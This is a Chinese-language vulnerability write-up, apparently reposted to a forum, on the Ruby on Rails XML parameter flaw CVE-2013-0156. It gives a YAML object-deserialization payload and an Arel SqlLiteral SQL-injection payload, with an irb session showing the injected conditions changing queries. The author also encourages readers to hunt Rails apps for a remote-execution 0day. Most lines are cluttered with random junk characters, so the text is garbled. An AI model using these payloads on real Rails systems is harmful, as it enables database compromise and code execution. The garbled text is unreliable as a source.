Author: wofeiwo#80sec.com
3 [. v& |7 m* u( x0 \
8 k% t$ I! q5 T3 V8 G注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 . o; s6 _% b4 R+ O7 F5 \
5 U! u3 L$ e7 b. s8 x
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. 0 F% L d3 k* w5 L9 a
6 B( S9 b9 R$ j2 w
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
' x ?5 D; o" M+ D5 U& d
* e+ I. M/ z( k4 \ S为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 2 J" E- Y1 d4 U+ O- h
& J4 Q7 p- |, R, d5 ^
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
& o8 A' T7 }- C& @, H, k$ O: X ^$ W( |( ^: k2 _( |( ?5 w7 R. ^
"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. h4 u& w, b, M' G$ R
# h7 r+ M' B: l9 p t
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? ' m! X2 H1 ]( ?# R/ T( {- u% j
2 B' O; R" M; L7 F, `
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。 9 i( p. i5 c4 F8 d
5 z% D+ m, c. H |: Q8 x但是等等,还有另一个参数类型,yaml。 ' j& k- h0 w/ X$ ]' z0 ]/ }
# J& l' x! B; p8 Qyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 6 a: g# v4 y2 [+ I! W, k f& E/ E
3 E* y# ~% f; R& _( \* ?8 K<test type="yaml">--- !ruby/object:A
1 J2 S: F8 R! X$ e5 I2 s4 ?, Raaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 . B4 z" I1 _. M2 u, a
5 L$ R8 ~5 d& s: s6 R0 R& t) I: j8 z如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 $ N6 T0 q& Q& j# |- h U8 N# u {4 a
. Y9 V+ w) ]4 N! i+ e4 R" ^; f
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 2 F( d% w) Y$ c |6 b; S$ A9 R
) `; ^9 t; b- @8 r0 J" l! G一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
( z7 j( ~9 ]0 X( W* o. g4 }; @6 i: T M+ _3 {
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
7 r9 R2 x- w& J# j8 [- g+ v! o5 P6 Y/ D: g+ G$ S& y# j3 }! F9 N
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral0 \: G4 f- @3 e# o" M
1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 & M" `. t4 G, V
! R2 x* K1 Z5 r( Y. ]
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。
8 @, E% s& ]( F. x+ t! w
2 E6 E0 Z0 v# x+ | |